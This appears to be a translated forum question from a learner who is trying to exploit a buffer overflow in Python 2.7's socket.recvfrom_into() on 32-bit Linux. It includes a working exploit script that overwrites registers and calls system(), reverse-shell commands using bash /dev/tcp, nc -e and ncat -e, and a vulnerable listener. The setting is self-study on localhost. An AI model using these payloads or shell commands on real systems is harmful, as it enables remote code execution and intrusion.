我正在学习有关通过Shellcode注入利用缓冲区溢出的知识。四年前,为 socket.recvfrom_into()函数发现了buffer overflow vulnerability。
精心设计并发布了一个here漏洞利用程序,为方便起见,我将简化版发布在这里。
#!/usr/local/bin/python
import struct
def off(o):
return struct.pack('L',o)
plt = {
'system': off(0x805b7e0),
}
ebx = 0xb7ae7908 # points to the begining of the buff
eax = ebx
eax2 = ebx+20
padd2 = 'X'*(144)
padd1 = 'Y'*(8)
#system_command = 'bash -i >& /dev/tcp/127.0.0.1/1337 0>&1'
#system_command = 'nc -e /bin/sh 127.0.0.1 1337'
system_command = 'ncat -e /bin/sh 127.0.0.1 1337'
buff = 'aaaa' + off(eax) + padd1 + off(ebx) + padd2 + plt['system'] + '||'+system_command+'\x00'
print 'buff sz: %s' % len(buff)
open('egg','w').write(buff)
print 'egg file generated!!!'
该代码应使用该漏洞生成一个文件,然后将该文件发送给具有所述功能的侦听套接字。
这是我的“服务器”套接字。
#!/usr/local/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('localhost',1337))
s.listen(1)
(socketVuln, addr) = s.accept()
print "Conexion inicializada"
received,_ = socketVuln.recvfrom_into(bytearray(), 1024)
print str(received) + " bytes received"
egg文件的长度为201字节,但我不知道接收缓冲区应使用什么大小。如果我输入一个类似100的值,它只会回答“接收到100个字节”,如果我使用1024个字节的缓冲区,并且在egg文件中添加了额外的填充(额外的850-900个字节),则会出现分段错误。
我该怎么做才能使漏洞利用程序发挥作用?
要求:Python版本。在32位Linux中为2.7。
PS:我已经使用gbd和C通过检查堆栈和eip / ebp寄存器来进行类似的利用。如果有任何方法可以在Python中执行此操作,那么它也可能对我有帮助。